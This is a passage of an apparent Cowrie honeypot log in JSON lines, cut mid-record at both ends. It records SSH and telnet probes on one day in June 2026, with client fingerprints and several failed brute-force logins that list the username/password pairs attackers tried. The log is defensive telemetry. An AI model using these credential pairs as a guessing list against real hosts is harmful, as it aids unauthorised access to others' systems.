],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:17.723212Z","src_ip":"165.154.137.186","session":"abea6fb65cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:18.476855Z","src_ip":"165.154.137.186","session":"abea6fb65cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.97270464897156,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:27.932311Z","src_ip":"128.199.209.169","session":"822efc1e21aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":50500,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75cde60909c","protocol":"ssh","message":"New connection: 91.92.40.13:50500 (10.17.0.5:22) [session: e75cde60909c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:28.450968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:28.667586Z","src_ip":"91.92.40.13","session":"e75cde60909c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:28.674811Z","src_ip":"91.92.40.13","session":"e75cde60909c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"12345678","message":"login attempt [backup/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:29.886710Z","src_ip":"91.92.40.13","session":"e75cde60909c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:31.160637Z","src_ip":"91.92.40.13","session":"e75cde60909c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01213335990906,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:32.279313Z","src_ip":"172.81.62.90","session":"59121cbd63be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":41914,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6496c8e66bb","protocol":"ssh","message":"New connection: 43.153.12.68:41914 (10.17.0.5:22) [session: b6496c8e66bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:39.144128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:39.151446Z","src_ip":"43.153.12.68","session":"b6496c8e66bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:39.219102Z","src_ip":"43.153.12.68","session":"b6496c8e66bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54108,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc7c30febdf1","protocol":"telnet","message":"New connection: 94.23.66.112:54108 (10.17.0.5:23) [session: fc7c30febdf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:39.224800Z"}
{"eventid":"cowrie.login.failed","username":"wan","password":"wan123","message":"login attempt [wan/wan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:39.523418Z","src_ip":"43.153.12.68","session":"b6496c8e66bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:40.600293Z","src_ip":"43.153.12.68","session":"b6496c8e66bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33982,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca6bd716a9fd","protocol":"ssh","message":"New connection: 27.71.230.31:33982 (10.17.0.5:22) [session: ca6bd716a9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:41.630980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:41.679319Z","src_ip":"27.71.230.31","session":"ca6bd716a9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:42.854851Z","src_ip":"27.71.230.31","session":"ca6bd716a9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":53454,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7491f9fa4c8","protocol":"ssh","message":"New connection: 38.148.249.2:53454 (10.17.0.5:22) [session: a7491f9fa4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:43.845235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:43.849975Z","src_ip":"38.148.249.2","session":"a7491f9fa4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:43.921712Z","src_ip":"38.148.249.2","session":"a7491f9fa4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"Welcome@1234","message":"login attempt [user1/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:44.233836Z","src_ip":"38.148.249.2","session":"a7491f9fa4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:45.306262Z","src_ip":"38.148.249.2","session":"a7491f9fa4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DarkAdmin@12","message":"login attempt [root/DarkAdmin@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:46.158001Z","src_ip":"27.71.230.31","session":"ca6bd716a9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50288,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc66f436c2f","protocol":"ssh","message":"New connection: 87.251.79.125:50288 (159.203.135.109:22) [session: ccc66f436c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.015462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.031294Z","src_ip":"87.251.79.125","session":"ccc66f436c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.040545Z","src_ip":"27.71.230.31","session":"ca6bd716a9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.103340Z","src_ip":"87.251.79.125","session":"ccc66f436c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35322,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1f3b38a5e5","protocol":"telnet","message":"New connection: 172.81.62.90:35322 (159.203.135.109:23) [session: 6c1f3b38a5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.169569Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"eureka","message":"login attempt [root/eureka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:48.322909Z","src_ip":"87.251.79.125","session":"ccc66f436c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"34383f6b03b8","protocol":"telnet","message":"New connection: 172.81.62.90:35338 (159.203.135.109:23) [session: 34383f6b03b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:49.185645Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:49.397387Z","src_ip":"87.251.79.125","session":"ccc66f436c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35354,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce0024c08741","protocol":"telnet","message":"New connection: 172.81.62.90:35354 (159.203.135.109:23) [session: ce0024c08741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:51.199585Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45518,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec116cc8414c","protocol":"ssh","message":"New connection: 165.154.137.186:45518 (10.17.0.5:22) [session: ec116cc8414c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:53.646808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:53.650145Z","src_ip":"165.154.137.186","session":"ec116cc8414c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:54.243926Z","src_ip":"165.154.137.186","session":"ec116cc8414c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:55.063450Z","src_ip":"165.154.137.186","session":"ec116cc8414c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:56.314948Z","src_ip":"165.154.137.186","session":"ec116cc8414c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":38240,"dst_ip":"10.17.0.5","dst_port":22,"session":"335bb799b70f","protocol":"ssh","message":"New connection: 103.216.145.2:38240 (10.17.0.5:22) [session: 335bb799b70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:57.934712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:57.941360Z","src_ip":"103.216.145.2","session":"335bb799b70f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:58.135288Z","src_ip":"103.216.145.2","session":"335bb799b70f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA!!","message":"login attempt [root/123456aA!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:58.951826Z","src_ip":"103.216.145.2","session":"335bb799b70f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:00.148892Z","src_ip":"103.216.145.2","session":"335bb799b70f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4d92934576","protocol":"ssh","message":"New connection: 165.154.137.186:36514 (10.17.0.5:22) [session: 6b4d92934576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:01.449491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:01.455404Z","src_ip":"165.154.137.186","session":"6b4d92934576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-pol